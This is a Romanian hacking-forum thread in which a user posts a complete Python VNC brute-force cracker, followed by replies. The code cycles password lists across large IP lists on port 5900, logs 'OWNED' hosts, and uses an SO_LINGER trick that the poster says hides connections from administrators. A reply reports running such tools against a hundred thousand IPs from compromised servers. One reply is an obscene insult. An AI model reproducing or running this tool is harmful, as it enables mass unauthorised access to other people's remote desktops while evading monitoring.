Jump to content
Elohim

[RST] VNC Brute Force Tool [Python]

Recommended Posts

Bun, intai sa incep prin a explica o problema des intalnita in majoritatea programelor open source de pen.testing.

Foarte multe, daca nu toate, folosesc blocking sockets.

Asta inseamna ca, daca s-a creat o conexiunea cu ip-ul X, dar acesta din diferite motive, refuza sa raspunda, aceea conexiunea o sa stea pornita pana cand a) programul se inchide sau B) se ajunge la system default timeout error, care de obicei este IMENS.

Hydra, medusa, ncrack, pana si nmap vnc-brute.nse, toate au aceeasi problema. Ele nu au fost gandite prost, intr-o oarecare masura, cand iti testezi reteaua, problemele astea nu se intampla.

Asa ca o sa folosim non-blocking sockets. Asta inseamna ca daca dupa un numar definit de secunde trece si nu primim niciun raspuns, vom inchide conexiunea. Am setat la 25 de secunde, dar se poate schimba din sursa daca este nevoie.


import socket, struct
from Crypto.Cipher import DES
from sys import exc_info, exit, version_info, maxint
import sys
import Queue, threading
bad = open('bad.txt','w')
valid = open('valid.txt','a')
err = open('error.txt','w')
cracked = []
try:
with open('valid.txt','rU') as vf: valids = vf.read().splitlines()
for val in valids:
h1 = val.split(" ")[0]
cracked.append(h1)
except:
pass

queue = Queue.Queue(maxsize=4000)
with open('ips.txt','rU') as ipf: hosts = ipf.read().splitlines()
with open('pass.txt','rU') as pf: passwords = pf.read().splitlines()
ThreadNmber = int(sys.argv[1])
Verbose = str(sys.argv[2])

def gen_key(key):
try:
newkey = []
for ki in range(len(key)):
bsrc = ord(key[ki])
btgt = 0
for i in range(8):
if bsrc & (1 << i):
btgt = btgt | (1 << 7-i)
newkey.append(btgt)

if version_info[0] == 2:
return ''.join(chr(c) for c in newkey)
else:
return bytes(newkey)
except:
pass


class VNCBrute(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def run(self):
while True:
host,passwd = self.queue.get()
self.checker(host,passwd)
self.queue.task_done()

def checker(self,host,password):
try:
if host in cracked: return False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setblocking(0)
s.settimeout(25)
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))

s.connect((host,5900))
resp = s.recv(99)

version = resp[:11].decode('ascii')
if len(resp) > 12:
s.close()
return False

major, minor = version[6], version[10]
if (major, minor) in [('3', '8'), ('4', '1')]: proto = b'RFB 003.008\n'
elif (major, minor) == ('3', '7'): proto = b'RFB 003.007\n'
else: proto = b'RFB 003.003\n'

s.sendall(proto)
resp = s.recv(99)

if minor in ('7', '8'):
code = ord(resp[0:1])
if code == 0:
s.close()
return False
s.sendall(b'\x02')
resp = s.recv(99)
else:
code = ord(resp[3:4])
if code != 2:
s.close()
return False
resp = resp[-16:]

if len(resp) != 16:
s.close()
return False

sys.stdout.write("\r[+]Trying "+host+' '+password+' ')
sys.stdout.flush()
pw = password.ljust(8, '\x00')[:8]
key = gen_key(pw)

des = DES.new(key, DES.MODE_ECB)
enc = des.encrypt(resp)

s.sendall(enc)
resp = s.recv(99)

code = ord(resp[3:4])
mesg = resp[8:].decode('ascii', 'ignore')

if code == 1:
if Verbose == 'v':
bad.write(host+'\n')
bad.flush()
s.close()
elif code == 0:
valid.write(host+' '+password+'\n')
valid.flush()
cracked.append(host)
print '\rOWNED!!! '+' '+host+' '+password,' '
s.close()
else:
s.close()
return False
except Exception, e:
err.write(host+'\n')
err.flush()
pass


def main():
try:
i = 0
for i in range(ThreadNmber):
t = VNCBrute(queue)
t.daemon = True
t.start()
i += 1
except Exception, e:
print 'Stopped at',i,'Threads'
sys.exit()
print i,'Threads spawned'

for password in passwords:
for host in hosts:
queue.put((host,password))

queue.join()


print '[+] VNC Brute Force Tool'
print '[+] Author: Elohim '
main()

Avem o optiune care dupa parerea mea este interesanta.

Sa zicem ca nu vrem sa facem prea mare galagie cand folosim programul dupa un alt server. Daca un sysadmin se uita prin numarul de conexiuni, o sa se ingrozeasca ( sau daca are vreun trigger alarm cand se depaseste un anumit numar de outgoing connections )

Asa ca am folosit

setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))

Asta inseamna ca din moment ce am inchis conexiunea, socket-ul respectiv in loc sa intre in TIME_WAIT state si sa stea 120s cand e default pe majoritatea sistemelor, se v-a inchide abrupt, si dispare din netstat .

De asemenea este ajutator cand exista o limita de numarul de porturi efemere folosite (rar )

Usage:

python vnc.py 100 v/no

Unde:

100 = Numarul de threaduri. Testat pana la 1400 de threaduri, merge impecabil daca ne permite viteza internetului.

v/no = Daca se lasa decat V, si se foloseste doar un user si o parola, se va scrie in fisierul bad.txt DOAR ipurile care chiar ruleaza un soft de vnc, si autentificarea nu a avut success.

De ce este folositor ? Am mai dezbatut problema un pic la un script asemanator pentru wordpress. Pe scurt, va scoate ip-urile care nu au nicio treaba cu vnc, dar intamplator au portul 5900 deschis.

Daca este lasat cu no, nu va mai face aceasta filtrare. Este necesar decat odata, apoi refolositi ip-urile din bad.txt

Daca aveti intrebari, nu ezitati sa le puneti.

Sunt satul sa vad oameni care vand asemenea scripturi.

Va asigur ca nu este nimic ce poate aduce alt program in plus fata de acesta prezentat.

Acopera absolut toate cerintele pentru viteza si eficacitate.

Nu dati banii pe prostii, luati la copii lapte = )

Spor!

P.S. Daca cineva doreste sa discute partea de RFB si problema vnc-urilor care cer si username, astept cu nerabdare sa dezbatem problema.

Link to comment
Share on other sites

Dap, eram sigur ca protocolu' e buba :|

Le-am incercat pe toate 3. Cum vin ele by default sunt muci ... cel putin pentru partea de RDP.

Si am pus un passfile decent pe suta de mii de ip, lasat cateva zile, pe mai multe rooturi. Deci, praf.

Ncracku cel putin dupa o zi deja cam pare sa se blocheze. In plus sunt toate greu de pus, le trebe gcc si au multe fisiere. Kk portabilitate ...

Link to comment
Share on other sites

Dans ce forum, il n'y aurai pas des français par hasard ? Non, comme ça parceque tous les membres postant un message, on va dire que je comprend pas ce qu'ils disent. Je vois un peu d'anglais dans les quelques messages que j'a pu lire et le reste je comprend pas ! Désolé! :s

Link to comment
Share on other sites

Dans ce forum, il n'y aurai pas des français par hasard ? Non, comme ça parceque tous les membres postant un message, on va dire que je comprend pas ce qu'ils disent. Je vois un peu d'anglais dans les quelques messages que j'a pu lire et le reste je comprend pas ! Désolé! :s

Roumains baisent les français dans le cul. Allez dans le vagin de vous mère

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...